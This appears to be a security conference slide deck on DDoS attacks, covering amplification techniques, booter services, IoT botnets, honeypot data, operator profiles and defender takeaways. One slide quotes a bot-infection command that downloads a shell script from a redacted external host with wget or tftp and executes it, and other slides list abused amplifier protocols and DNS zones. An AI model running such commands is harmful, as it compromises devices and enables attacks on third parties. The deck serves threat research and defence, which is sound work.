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DDoS then

• DDoS stands for ‘distributed denial of service’.  It is an attempt to make an 
Internet resource unavailable (web site, network, etc).

• Various techniques exist to generate abnormal amounts of traffic toward 
victims.

• Application exploitation (Brobot)

• Botnets – Windows (DirtJumper/Drive/Optima/Madness/Yoyo)

• Amplifications and reflections (NTP Monlist, DNS, SSDP)

• Stand-alone tools (LOIC, Slowloris, etc)
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DDoS now – Attacks

• Techniques and tools

• Amplification and reflection techniques (UDP)

• Booters/Stressers

• IoT and Linux based botnets

• Layer 4 and Layer 7 attacks

• HTTP floods - GET, POST, HEAD, Joomla plugins, XML-RPC

• SYN floods (most common offer)

• UDP floods - DNS, CharGen, NTP, SSDP, SNMP, etc



DDoS now – Amplification Factors

https://www.us-cert.gov/ncas/alerts/TA14-017A



DDoS now – “Amplifier Lists” –

There are services specialized in selling lists of amplifiers for various 
port numbers / protocols:

http://_____.xyz/

“No dead AMP's in your list or local ip's mistakenly put there by 
faulty scanners our servers are running 24/7 at a relative slow 
speed compared to most to verify everything is correct & no faulty 
nonsense or honeypots”



DDoS now – Booters and Stressers

• Cheap! $5-$20 a month

• Multiple payment methods – PayPal, Google Wallet, Bitcoin

• Little or no technical expertise required from users

• Heavy emphasis on branding/rebranding

• Low TTLs (most services only last months)

• Targets of attacks themselves – front ends usually behind DDoS 
mitigation services

• Usage of APIs to communicate with attacking servers



DDoS now – IoT and Linux botnets

• Some botnets are created scanning hosts for default credentials or 
vulnerabilities.  A bot is then automatically downloaded and executed

cd /tmp || cd /var/run; rm -rf *; busybox wget
http://fw1.xxxxxxxxxx.su/f1/f1.sh || wget http://fw1. xxxxxxxxxx.su/f1/f1.sh; 
sh f1.sh; rm -rf f1.sh; busybox tftp -r .f1.sh -g aaa.bbb.ccc.ddd || tftp -r .f1.sh 
-g f1. xxxxxxxxxx.su; sh .f1.sh; rm -rf .f1.sh

• Multiple bots are compiled for distinct platforms



Tools for Research



DDoS Honeypots

• Starting November 2014, multiple honeypot nodes deployed in distinct 
geographical locations

• The nodes mimic UDP services commonly abused to produce DDoS 
attacks: NTP, SSDP, CharGEN, DNS, etc.

• Honeypots only produce the data necessary to be detected by 
scanners. They rate limit responses in order to prevent participation in 
attacks.

• Data collected includes attack time stamps, source and destination IPs 
and ports, attack type. The intention is to collect as much information 
as possible about amplification and reflection attacks.  Full packet 
captures are archived for historical purposes and uploaded to a Moloch 
instance for visualization and research



Data Aggregation

• More than 10,000,000 records collected so far in 2016

• “Moloch is an open source, large scale packet capturing (PCAP), indexing
and database system. A simple web interface is provided for PCAP browsing, 
searching, and exporting. APIs are exposed that allow PCAP data and JSON-
formatted session data to be downloaded directly. (…) Moloch is not meant 
to replace IDS engines but instead work along side them to store and index 
all the network traffic in standard PCAP format, providing fast access. Moloch 
is built to be deployed across many systems and can scale to handle 
multiple gigabits/sec of traffic.” (https://github.com/aol/moloch)

https://github.com/aol/moloch




Research

Top abused UDP protocols 
last month

34,617 unique IP 
addresses targeted

Although NTP has one of 
the highest amplification 
factors, it is not the top 
abused - most probably 
because many servers 
were patched lately

Port (UDP) Protocol Amp. Factor

#1 1900 SSDP 31

#2 123 NTP 557

#3 53 DNS Varies

#4 19 CharGen 359

#5 161 SNMP 6



Research

• Spoofed SSDP (UDP/1900)
• Last month: 3,115 unique targets



Research

• Spoofed SSDP (UDP/1900)

0:10:05.579243 IP XXX.YYY.ZZZ.WWW.1900 > AAA.BBB.CCC.DDD.80: UDP, length 311

....E..SJ.@.7.w.L........l.P.?.bHTTP/1.1 200 OK

Cache-Control: max-age=120

EXT:

Location: http://192.168.0.1:65535/rootDesc.xml

Server: Linux/2.4.22-1.2115.nptl UPnP/1.0 miniupnpd/1.0

ST: urn:schemas-upnp-org:device:WANConnectionDevice:

USN: uuid:2a8061e8-1dd2-11b2-b354-8851c5066677::urn:schemas-upnp-
org:device:WANConnectionDevice:



Research

• Spoofed NTP (UDP/123)
• Last month: 13,603 unique targets







Research

• Spoofed DNS (UDP/53)
• Last month: 10,060 unique targets 



Research

DNS zones abused 
because of their large 
responses to ANY and 
TXT queries

The top abused domains 
are legitimate. Months 
ago, attackers registered 
names and created long 
records to achieve high 
amplification factors

Zone Response (bytes) Note

cpsc.gov 4095 Legitimate domain

svist21.cz 6800 Legitimate domain

irs.gov 3596 Legitimate domain

ietf.org 4313 Legitimate domain

gransy.com 5756 Legitimate domain

1x1.cz 5903 Legitimate domain

defcon.org 8684 Legitimate domain







Research

• Spoofed CharGen (UDP/19)
• Last month: 6,128 unique targets







Research

• Spoofed SNMP (UDP/161)
• Last month: 943 unique targets

04:32:05.636615 IP (tos 0x0, ttl 59, id 20080, offset 
0, flags [DF], proto UDP (17), length 113)

x.x.x.x.54991 > y.y.y.y.161:  { SNMPv2c { GetRequest(70) R=925904563  
.1.3.6.1.2.1.1.1.0 .1.3.6.1.2.1.1.3.0 .1.3.6.1.2.1.4.3.0 .1.3.6.1.2.1.4.10.0 } }



Research

• HTTP floods
• GET

• POST

• HEAD

• It is a good strategy to target URLs that consume high amounts of resources 
(database queries, large downloads, etc)







Research

• UDP floods
• Volumetric attack
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DDoS as a Service



Booter Operators

o North America/Western Europe/Israel

o 16-26 year old

o Hackforums users (Vendors!)

o Two to six admins per service

o Heavy users of social media



VDoS Arrests

• Yarden Bidani and Itay Huri were arrested in Israel

• Accused of running the Vdos DDoS service

• This happened shortly after the Vdos database was publicly dumped and written about 
on KrebsOnSecurity

• Shortly afterwards, a number of booter operators on Hackforums voluntarily closed up 
shop



Leaked Booter Databases

• For a defender, these can be useful.

• When were your IPs attacked? By whom? What else did that user attack?



Mirai

o Mirai made big headlines recently due to large DDoS attacks

o Mirai was part of a commercial DDoS-for-hire scheme that involved selling spots 
on a botnet

o Source code was dumped publicly after Mirai made the headlines

o This commercial service was very different from booters
o Used hacked machines instead of rented machines



Takeaways



Takeaways for Defenders

o Duration matters - shorter attacks are probably Booters

o Booters generally top out at 30 Gbps

o Packets can be useful – what service, what is the reflected domain, etc

o Packets + sensor data can be VERY useful 
o You can tell if it’s spoofed or true source

o You can determine the number of sources

o Botnet or booter?

o Social media monitoring

o Enterprise DDoS mitigation works
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